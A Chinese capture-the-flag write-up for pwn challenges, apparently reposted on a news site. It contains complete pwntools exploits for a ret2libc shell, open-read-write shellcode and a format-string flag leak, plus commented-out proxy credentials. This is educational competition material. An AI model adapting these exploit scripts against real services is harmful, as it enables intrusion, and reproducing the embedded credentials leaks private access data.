当前位置: 首页 > news >正文

网络安全竞赛pwn全解及第一道ai的wp

先用ida看看

普通的菜单题,第一个这个比较的是字符的1234,所以输字符,输入2有栈溢出,打ret2libc即可。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
p = remote('xt.xl-lab.top',33662)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
rdi=0x40129a
back=0x40136F
ret=0x401410
pu=elf.sym['puts']
puts=elf.got['puts']
sdr(2)
pay=0x58*b'b'+flat(rdi,puts,pu,back)
sd(pay)
ru(b"\x1B[32m"+"发送完毕。".encode()+b"\x1B[0m\n")
libcbase=u6(6)-libc.sym['puts']
sy=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pay=0x58*b'b'+flat(ret,rdi,binsh,sy)
sd(pay)
ph(libcbase)
ti()
异步逃逸

这里ida没识别出来这个mmap64,看汇编

相当于这个mmap64(0,0x2000,7,0x22,0xffffffff,0)。简单来说就是分配了一段可读可写可执行的大小为0x2000的内存(第三个参数权限是7)后面就简单了,往v4写shellcode然后跳转过去执行,shellcode没任何限制。沙箱允许ORW,直接shellcraft生成就行了。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
'''
socks.set_default_proxy(
socks.SOCKS5,
"81.dart.ccsssc.com",
25790,
username="1nkvap1o",
password="cl330rd",
rdns=True
)
socket.socket = socks.socksocket
'''
flag = 1
if flag:
p = remote('xt.xl-lab.top',33583)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
pay=asm(shellcraft.open(b'./flag',0))+asm(shellcraft.read(3,0x4AD2BC,0x100))+asm(shellcraft.write(1,0x4AD2BC,0x100))
sd(pay)
ti()
蜜雪冰城

前面的没啥意思不看了,直接看漏洞点

这里首先把flag写到栈上了,然后有格式化字符串漏洞,看后面可以知道是在会员的积分那里有格式化字符串漏洞。直接%p读出来flag的信息,再用cyberchef的大端转化成小端和hex转字符串就可以读出来flag了。就演示第一段吧,虽然是web,但漏洞还是一样的。

从%8$p一直读到13就可以了

http://www.jsqmd.com/news/1089368/

相关文章:

  • Koalageddon深度解析:揭秘多平台DLC解锁技术的架构创新与性能突破
  • 【SlowFast实战:从零构建自定义动作识别数据集到模型部署】
  • LabVIEW性能调优实战:从瓶颈定位到速度飞跃
  • Obsidian PDF++:终极PDF标注与知识管理完全指南
  • Performance-Fish终极指南:如何让RimWorld告别卡顿,流畅运行大型殖民地
  • 从MPU6050数据到稳定姿态:卡尔曼滤波融合实战解析
  • 终极AMD Ryzen调试工具完整指南:免费硬件优化快速上手
  • 告别PPT演示超时焦虑:智能计时器让时间掌控变得如此简单
  • 鸣潮自动化辅助工具ok-ww:5分钟快速上手指南与智能战斗配置
  • AMD Ryzen调试工具终极指南:3步掌握硬件性能优化技巧
  • 5分钟上手diff-pdf:轻松对比PDF差异的视觉神器
  • N_m3u8DL-RE流媒体下载器:让在线视频轻松变成本地收藏
  • STM32实战:HC-SR04超声波测距模块的精准驱动与误差优化
  • 从OCA到OCM:Oracle认证进阶之路全解析
  • 超越传统超频:SMUDebugTool如何解锁AMD Ryzen处理器隐藏性能
  • 免费开源Windows屏幕标注工具ppInk:3分钟上手终极指南
  • Electron 应用如何上架微软商店:从 MSIX 打包到商店提交
  • 从一维双原子链到声子谱:晶格振动的声学支与光学支全解析
  • WarcraftHelper:魔兽争霸3闪退修复与游戏优化全攻略
  • 仅限首批技术顾问获取:OpenAI未公开的模型行为差异手册(含system prompt敏感度、长文本截断策略、温度值响应曲线)
  • 装了 30 个 Skills 之后,我才搞清楚哪些是在白浪费 context
  • ppInk:一款免费开源的Windows屏幕标注工具,让演示更专业
  • 从一段模板说起
  • 视觉问答(VQA)的技术演进、核心挑战与未来展望
  • SQLite 在独立开发中的实战与优化:用轻量架构应对高并发
  • PilotGo-plugin-llmops vs 传统运维工具:为什么AI驱动是未来趋势
  • Web应用文件上传漏洞实战:从SPON系统漏洞看安全防御
  • Android NFC 实战:从权限配置到地铁卡数据解析
  • 从SHP到Excel,再到CAD:一站式地理数据格式转换与互操作实战指南
  • [智能体-589]:OpenClaw:HTML、JavaScript 、TypeScript、 Node.js、Python在智能体技术栈中各自的作用对比